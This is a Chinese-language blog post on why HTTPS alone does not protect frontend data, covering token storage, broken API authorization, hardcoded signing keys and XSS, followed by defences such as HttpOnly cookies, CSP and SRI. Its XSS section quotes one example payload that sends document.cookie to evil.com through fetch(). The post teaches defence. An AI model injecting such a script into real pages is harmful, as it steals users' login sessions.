前端加密翻车!明明用了 HTTPS,数据还是被窃取了?

Hello,大家好,我是 Sunday。

最近有同学和我吐槽:“项目全程用 HTTPS,结果数据还是被人窃取了!这不是白加密了吗?”

是不是有点吓人?我们平时写代码的时候,总觉得只要用上 HTTPS,就万事大吉了。毕竟,传输过程被加密了嘛,中间人拿不到数据,应该很安全才对。

然而,现实却狠狠打了脸。HTTPS ≠ 前端安全,它只能保证你在“传输过程”里不被窃听,但一旦数据落地到浏览器,很多风险就暴露无遗。

今天这篇文章,我们就来扒一扒:为什么用了 HTTPS,前端数据还是会被窃取?到底是哪里出了问题?

HTTPS 到底能保护什么?

想要搞明白这个问题,那么咱们得先知道 HTTPS 所谓的安全到底指得是什么?

HTTPS 的本质是:在 HTTP 协议外面套了一层 TLS/SSL,通过 公钥/私钥加密 来保证通信过程中的数据安全。

因此,它所能解决的问题,其实就三部分,也就是传说中的 “三防”:

防窃听:数据在传输过程中是密文,抓包工具只能看到一堆乱码。防篡改:中间人不能随意改数据包,否则校验失败。防伪造:证书验证能确保你访问的是“真官网”,而不是钓鱼站。

听起来是不是很完美?

但是,但是要注意,它只保护了 “传输过程”。非传输过程,HTTPS 就管不了了。

而所谓的 非传输过程 指的是:

数据到浏览器后会怎样:一旦解密,数据在前端就是明文,黑客能通过 F12 控制台直接拿到。前端存储安全:localStorage、sessionStorage、cookie 里的敏感信息,HTTPS 并不会替你守护。前端代码本身的漏洞:比如 XSS 注入、CSRF 攻击,照样能让攻击者轻松绕过 HTTPS。等.......

非传输过程的常见翻车手段

那么根据以上所述,认为只要有了 HTTPS 那么整个前端数据就是全部安全的,这种想法肯定就是 错误的

而通常情况下,这种 ”不安全“ 主要就体现在 非传输过程 的层面。

给大家列举几个场景

1. 存储环节不安全

前端最常见的存储方案就是 localStorage。大家图它简单,刷新不丢数据,持久化时间还长。于是习惯性把 登录 token 往里面一塞,就完事了。

问题是:只要页面里有一个 XSS 漏洞,攻击者在控制台输入:

复制
console.log(localStorage.getItem("token"))1.

就能直接拿到。根本不需要劫持 HTTPS 流量,也不需要多复杂的手段,在你用户的浏览器里就能把登录态拷贝走

有同学说,那我用 sessionStorage 呗,刷新就没了,是不是会更加安全呢?

实际上区别不大,因为只要有人能执行脚本,你的东西依旧是透明的。

再说 cookie,如果你没加 HttpOnly,JS 也能拿到。如果没加 SameSite,还可能被 CSRF 利用。存哪都不是绝对安全,重点还是要减少暴露面。

2. 接口鉴权没做好

我遇到过最“离谱”的一个项目:接口只要带上 token 就能访问。后端不校验 token 对应的权限,不管是谁的 token,只要存在,就放行。

举个例子:比如 /api/user/list 这个接口,本来应该只有管理员能调。结果普通用户也能直接调用,返回全量用户数据。

这种情况下,你前端再怎么加密、怎么存储,都没意义,因为漏洞出在后端鉴权

还有一种常见情况:只校验登录态,不校验数据归属。

比如,你访问 /api/order?id=123,本来应该只能查自己的订单。结果后端没做限制,随便改个 id,别人订单你也能看。

这种就是典型的 越权访问

3. 密钥写死在前端

有些人为了“提高安全性”,会在前端做一层签名。比如:

复制
const sign = md5(data + "my-secret");1.

然后上线。

问题是:前端代码打包后,还是会被用户下载到本地运行。别人只要解压缩一下代码,就能看到你写死的密钥。

这也是为什么很多安全方案都会强调:密钥必须只存在后端。前端做的加密,只能算是“提高门槛”,绝不是核心保障。

4. XSS 注入攻击

再牛的加密方案,只要有 XSS,都能直接被绕过。比如:页面有个输入框,没有做转义过滤,攻击者输入:

复制
<script> fetch("http://evil.com?cookie=" + document.cookie) </script>1.2.3.

这段脚本一旦被执行,你的 cookielocalStorage、甚至页面上所有 DOM 数据,全都直接送出去了。

更狠一点的,攻击者可以模拟用户操作。直接在你页面里帮他点按钮、发请求,完全像真的用户一样。

所以,XSS 一旦存在,所有前端加密都形同虚设

安全防护手段

那么,说完了翻车的常见情况之后,接下来咱们就来看一些安全防护手段。

整个安全防护手段,咱们分成 前端 + 后端 两部分来说。

一、前端能做的(减面攻击面、降低暴露)

别把敏感 token 放在可读存储

access token 只放在内存,刷新页面就重新换。

refresh token 丢到 HttpOnly Cookie 里,JS 读不到。这样即使页面被 XSS 打到,攻击者也拿不到核心登录态。

请求带上 CSRF 防护

对非幂等请求(POST/PUT/DELETE),配合后端用 SameSite + CSRF Token

尽量少用 innerHTML / dangerouslySetInnerHTML / v-html

能不渲染 HTML 就不要渲染,渲染用户内容时一定要做严格转义或用可信模板。

给第三方脚本加 SRI(Subresource Integrity) & lazy-load
复制
<script src="https://cdn.sunday.com/lib.js" integrity="sha384-xxxx" crossorigin="anonymous"></script>1.2.3.

防止 CDN 被篡改时脚本被注入恶意代码。并尽量按需加载、延迟执行。

使用 CSP 限制可执行源(严格到 nonce/sha)

基本示例(后端设置 HTTP header):

复制
Content-Security-Policy: default-src self; script-src self https://cdn.example.com nonce-<RANDOM>; object-src none; base-uri none;1.

禁止 eval()、禁止 inline script(或使用 nonce 动态注入允许的脚本)。

二、后端能做的(前后端协同处理)

HttpOnly + Secure + SameSite Cookie 策略(登录态)Set-Cookie 示例(后端):
复制
Set-Cookie: refresh_token=xxx; HttpOnly; Secure; SameSite=Lax; Path=/; Max-Age=25920001.

access token 在登录后由后端以短时(比如 5–15 分钟)签发,并通过刷新接口更新。刷新接口仅接受 HttpOnly refresh cookie。

最小权限 & 资源级鉴权

不要只校验“登录态存在”。接口要校验:用户身份、角色、资源归属(owner),参数改动不能越权访问别人的数据。

签名 + 时间戳 + nonce 防重放(敏感接口)

请求里带 timestamp + nonce + signature,后端用服务端密钥或用户专属 secret 验签,且检查 nonce 是否已被使用(可放 Redis)。

前端:不在前端保存 secret。前端只发送 timestamp/nonce,signature 由后端或受信任组件生成/校验。

最小暴露面 + 输出脱敏

接口返回尽量脱敏(手机号只返回后 4 位),敏感字段按需授权。不要在 debug 环境上把真实数据上到线上。

综上所述。HTTPS 他只能保护的只是传输过程,真正决定你数据是否安全的,是 存储方式、接口鉴权、密钥管理,以及对 XSS/CSRF 的防护 等内容。

THE END